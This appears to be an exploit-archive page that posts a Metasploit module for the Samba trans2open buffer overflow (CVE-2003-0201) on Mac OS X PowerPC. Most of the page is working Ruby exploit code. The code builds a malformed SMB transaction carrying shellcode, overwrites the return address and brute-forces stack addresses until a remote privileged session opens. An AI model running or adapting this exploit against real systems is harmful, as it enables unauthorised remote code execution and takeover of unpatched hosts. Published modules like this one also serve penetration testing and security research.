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Samba trans2open Overflow

Samba trans2open Overflow
Posted Oct 28, 2009
Authored by H D Moore | Site metasploit.com

This Metasploit module exploits the buffer overflow found in Samba versions 2.2.0 to 2.2.8. This particular module is capable of exploiting the bug on Mac OS X PowerPC systems.

tags | exploit, overflow
systems | apple, osx
advisories | CVE-2003-0201
SHA-256 | 50174bffbefca0cbfd2b222f0748f7fe7215d1eab4b35f5294d146713fed1392

Samba trans2open Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::SMB

def initialize(info = {})
super(update_info(info,
'Name' => 'Samba trans2open Overflow (Mac OS X)',
'Description' => %q{
This exploits the buffer overflow found in Samba versions
2.2.0 to 2.2.8. This particular module is capable of
exploiting the bug on Mac OS X PowerPC systems.

},
'Author' => [ 'hdm' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2003-0201'],
[ 'OSVDB', '4469'],
[ 'BID', '7294'],
[ 'URL', 'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],

],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'MinNops' => 512,

},
'Platform' => 'osx',
'Arch' => ARCH_PPC,
'Targets' =>
[
['Stack Brute Force', { 'Rets' => [0xbffffdfc, 0xbfa00000, 512] } ],

],
'DisclosureDate' => 'Apr 7 2003',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(139)
], self.class)
end

# Need to perform target detection
def autofilter
false
end

def exploit
curr_ret = target['Rets'][0]
while (curr_ret >= target['Rets'][1])
break if session_created?
begin
print_status("Trying return address 0x%.8x..." % curr_ret)

connect
smb_login

# 1988 is required for findrecv shellcode
pattern = rand_text_english(1988)

# This stream covers the framepointer and the return address
pattern[1195, 64] = [curr_ret].pack('N') * 16

# Stuff the shellcode into the request
pattern[3, payload.encoded.length] = payload.encoded

trans =
"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
pattern

sock.put(trans)
handler
disconnect

rescue EOFError
rescue => e
print_status("Caught exception: #{e}")
break
end
curr_ret -= target['Rets'][2]
end
end
end

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